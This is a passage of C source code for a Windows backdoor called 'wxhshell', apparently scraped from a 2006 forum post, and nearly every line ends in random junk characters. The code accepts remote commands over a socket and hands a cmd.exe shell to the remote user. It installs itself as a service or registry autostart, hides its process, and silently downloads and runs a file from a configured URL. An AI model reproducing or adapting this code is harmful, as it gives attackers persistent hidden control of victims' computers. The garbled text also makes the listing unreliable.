  } RJPcn)@l  
  // 安装 Ux_<d?p  
  case 'i': { OL9]*G?F  
    if(Install()) |D<+X^0'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +?V0:Kz]  
    else 85hQk+Bu4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]1}h8/  
    break; g@u;Y5  
    } w_3xKnMT\  
  // 卸载 -|[~sj-p  
  case 'r': { @h(!<Ux_  
    if(Uninstall()) b pp*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9P0yv3  
    else \u8,!) 4i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HamEIL-l.  
    break; 50,Y  
    } $iHoOYx]<  
  // 显示 wxhshell 所在路径 @'gl~J7  
  case 'p': { n^Vxi;F  
    char svExeFile[MAX_PATH]; L=m:/qQL  
    strcpy(svExeFile,"\n\r"); o&,Y<$!:VH  
      strcat(svExeFile,ExeFile); bg1un@%!l  
        send(wsh,svExeFile,strlen(svExeFile),0); A$<>JVv  
    break; ;dOs0/UM&  
    } T3rn+BxF7  
  // 重启 k9&@(G[K3  
  case 'b': { [Auc*@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6ZOAmH fs  
    if(Boot(REBOOT)) eJ:Yj ~X`<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/`G  
    else { bP03G =`6w  
    closesocket(wsh); }9=2g`2Q  
    ExitThread(0); `#U ]iwW!  
    } 5%& ]  
    break; ! ]\2A.b[  
    } {U6"]f%  
  // 关机 x ^[F]YU  
  case 'd': { cUsL 6y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3&9zGy{V+  
    if(Boot(SHUTDOWN)) gDv$DB8-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&_3VKrN  
    else { 'z-D%sCA  
    closesocket(wsh); &SrGh$:X  
    ExitThread(0); hb<k]-'!  
    } ]4GZ'&m}  
    break; /6jGt'^U  
    } *;P2+cE>H3  
  // 获取shell ? rQc<;b  
  case 's': { ZMe}M!V  
    CmdShell(wsh); /sV?JV[t  
    closesocket(wsh); b"&E,=L  
    ExitThread(0); |=u96G~N  
    break; W]@6=OpH  
  } IhwN],-V  
  // 退出 *(p7NYf1  
  case 'x': { gg(k7e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .OV-`TNWj  
    CloseIt(wsh); }U i_ynZ!  
    break; !pl_Ao~(  
    } Fn> <q:  
  // 离开 D!/0c]"  
  case 'q': { E9L!)D]Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @sdS 0pC  
    closesocket(wsh); ?lyltAxs'  
    WSACleanup(); Pr2;Kp  
    exit(1); L W?&a3e  
    break; 6: GN(R$0  
        } D$mf5G &  
  } VW~Xbyf  
  } X+%u(>>  
z 7@ 'CJ  
  // 提示信息 Qi"'bWX@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4M7^ [G  
} ^9s"FdB]24  
  } V>r j$Nc]  
Z7oaQ\fR  
  return; {>A 8g({i  
} aTX]+tBoe  
/xJY7yF  
// shell模块句柄 *.xZfi_|  
int CmdShell(SOCKET sock) YMK>+y[+4  
{ ff[C'  
STARTUPINFO si; 1MpX] j8C#  
ZeroMemory(&si,sizeof(si)); |w4(rs-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xa)7`bp<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xp(mB7;:  
PROCESS_INFORMATION ProcessInfo; &62` Wr0C  
char cmdline[]="cmd"; D*qzNT@`LR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J7_8$B-j7  
  return 0; o3fR3P%$  
} ~%/'0}F  
&`m~o/  
// 自身启动模式 EtJD'&  
int StartFromService(void) 48;~bVr}  
{ 1BTgGF  
typedef struct wqf&i^_  
{ D)h["z|F  
  DWORD ExitStatus; u^!&{q  
  DWORD PebBaseAddress; UUD\bWfn  
  DWORD AffinityMask; FDl,Ey^r/  
  DWORD BasePriority; '8L(f w{k  
  ULONG UniqueProcessId; b5[f 5  
  ULONG InheritedFromUniqueProcessId; s!NisF  
}   PROCESS_BASIC_INFORMATION; .\)--+(  
,b.kw}k  
PROCNTQSIP NtQueryInformationProcess; PMD,8]|  
 Pb*q;9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bU:V%B?=]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \l>q Y(gu  
W6)dUi :"  
  HANDLE             hProcess; /E; ;j9  
  PROCESS_BASIC_INFORMATION pbi; kqQphKkL  
,.J<.#D3J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S$Qr@5  
  if(NULL == hInst ) return 0; 6vMDm0sv  
M^Q&A R'F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U.d'a~pH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S$ Ns8=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aB/{ %%o  
nomu$|I  
  if (!NtQueryInformationProcess) return 0; 3- 4Nad  
/QV [N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5?<|3  
  if(!hProcess) return 0; F+lm[4n  
D!81(}p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g%@]z8L  
8L%%eM_O  
  CloseHandle(hProcess); N02zPC 8  
%V@Rk.<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y8x(#qp,  
if(hProcess==NULL) return 0; a15,'v$O  
Vp5V m  
HMODULE hMod; MoC*tImWR  
char procName[255]; olUqBQ&ol  
unsigned long cbNeeded; Ak<IHp^Q  
 |JirBz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'iMHAP;N  
+!mNm?H[!  
  CloseHandle(hProcess); ,%"\\#3S  
>w%d'e$  
if(strstr(procName,"services")) return 1; // 以服务启动 gOBj0P8s|}  
P wt ?9I  
  return 0; // 注册表启动 Hsd|ka$x>  
} ==PQ-Ia  
~v{C6)  
// 主模块 ?NL&x  
int StartWxhshell(LPSTR lpCmdLine) n.;5P {V1  
{ Res"0Q  
  SOCKET wsl; j SUAU}u!M  
BOOL val=TRUE; Wl9I`Itg  
  int port=0; \N'hbT=  
  struct sockaddr_in door; 1FXzAc(c!  
iXr`0V   
  if(wscfg.ws_autoins) Install(); 7cOg(6N  
;XKo44%  
port=atoi(lpCmdLine); 7(nz<z p  
Up1$xLSl  
if(port<=0) port=wscfg.ws_port; A{{q'zb!  
2V=FWuXC"  
  WSADATA data; j? Jd@(*y$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s)`1Rf  
+Y.uZJ6+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s%S_K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h0Sy'] 3m  
  door.sin_family = AF_INET; rH#c:BwSm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W?4&lC^G  
  door.sin_port = htons(port); Aoy1<8WP%  
a?xq*|?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /4wm}g9  
closesocket(wsl); /pSUn"3  
return 1; z9);e8ck  
} hK9t}NE.O  
9$4/frd  
  if(listen(wsl,2) == INVALID_SOCKET) { 2y .-4?e  
closesocket(wsl); `Q(]AG I2  
return 1; ]<o.aMdV  
} kp<}  
  Wxhshell(wsl); e{rHO,#A>  
  WSACleanup(); dWq/)%@t  
R>YMGUH~w  
return 0; k1LtqV  
,nu7r1}  
} =J[[>H'<d  
HLyFyv\  
// 以NT服务方式启动 lJz?QI1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -XDP-Trk  
{ r{6B+3J  
DWORD   status = 0; D0E"YEo\nv  
  DWORD   specificError = 0xfffffff; 61Iy{-/ZV  
~jRk10T(B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l)!woOt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f)s_e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :x*|lz[  
  serviceStatus.dwWin32ExitCode     = 0; ? /|@ #&  
  serviceStatus.dwServiceSpecificExitCode = 0; j5VRv$P  
  serviceStatus.dwCheckPoint       = 0; /cg]wG!n8  
  serviceStatus.dwWaitHint       = 0; HTtGpTsF  
>. nt'BQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (a)@<RF`Q}  
  if (hServiceStatusHandle==0) return; @!O&b%8X%  
{;(g[H=q;  
status = GetLastError(); _%p9 B#X<>  
  if (status!=NO_ERROR)  &t%&l0  
{ X#NeB>~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :7PSZc:xE  
    serviceStatus.dwCheckPoint       = 0; XX5(/#  
    serviceStatus.dwWaitHint       = 0; ht74h  
    serviceStatus.dwWin32ExitCode     = status; '/qe#S  
    serviceStatus.dwServiceSpecificExitCode = specificError; F~@1n ,[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1ui#5n2  
    return; n)?F 9Wap  
  } ALt";8Oa  
PG~m-W+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]H9HO2wGQ  
  serviceStatus.dwCheckPoint       = 0; wb Tg  
  serviceStatus.dwWaitHint       = 0; @j8L{FGnN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5J2p^$s  
} `kT$Gx4x  
n,'AFb4AF  
// 处理NT服务事件,比如:启动、停止 )Jjw}}$}Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xXh]z |  
{ ?(L? X&)v  
switch(fdwControl) l0bT_?LhK  
{ 5xV/&N  
case SERVICE_CONTROL_STOP: :7;Iy u  
  serviceStatus.dwWin32ExitCode = 0; {]m e?I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~hw4gdtS  
  serviceStatus.dwCheckPoint   = 0; s?I=}  
  serviceStatus.dwWaitHint     = 0; M@z/ gy^  
  { rW>'2m6HU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ]mU*Y:<  
  } W p* v Vv  
  return; kK6>>lD'  
case SERVICE_CONTROL_PAUSE: (Jr;:[4XC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q-%=ZW Z  
  break; zW&O>H  
case SERVICE_CONTROL_CONTINUE: MZF ;k$R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5GpKX  
  break; /PuWJPy;  
case SERVICE_CONTROL_INTERROGATE: !Y i<h/:  
  break; cmLu T/oV  
}; U"G+su->e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !7kOw65+0  
} )8>f  
*iN]#)3>  
// 标准应用程序主函数 H;te)km}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?S7:KnU>K  
{ ~PvzUT-^  
Re ur#K  
// 获取操作系统版本 bg. KkJMrR  
OsIsNt=GetOsVer(); (ZSSp1R v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TBp5xz`  
@Oay$gP{T  
  // 从命令行安装 pjn%CR`;  
  if(strpbrk(lpCmdLine,"iI")) Install(); kpUU'7Q  
6$.Xj\zl  
  // 下载执行文件 8jx1W9=`9[  
if(wscfg.ws_downexe) { s*WfRY*=V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hiM!htc;M  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6>A8#VT  
} /;ITnG  
iKKWn*u  
if(!OsIsNt) { m$: a|'mS  
// 如果时win9x,隐藏进程并且设置为注册表启动 ikiy>W8  
HideProc(); }7v2GfEkM  
StartWxhshell(lpCmdLine); eci\Q,   
} AVZ@?aJgF  
else 9R3=h5Y  
  if(StartFromService()) &|;!St]!M  
  // 以服务方式启动 2p ,6=8^v  
  StartServiceCtrlDispatcher(DispatchTable); #pFybk  
else ylJlICK  
  // 普通方式启动 |Ay#0uQ5Y  
  StartWxhshell(lpCmdLine); R6Lr]H  
B9-=.2.WU  
return 0; ~h.B\Sc]Q  
}
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只看该作者 1 发表于: 2006-10-10
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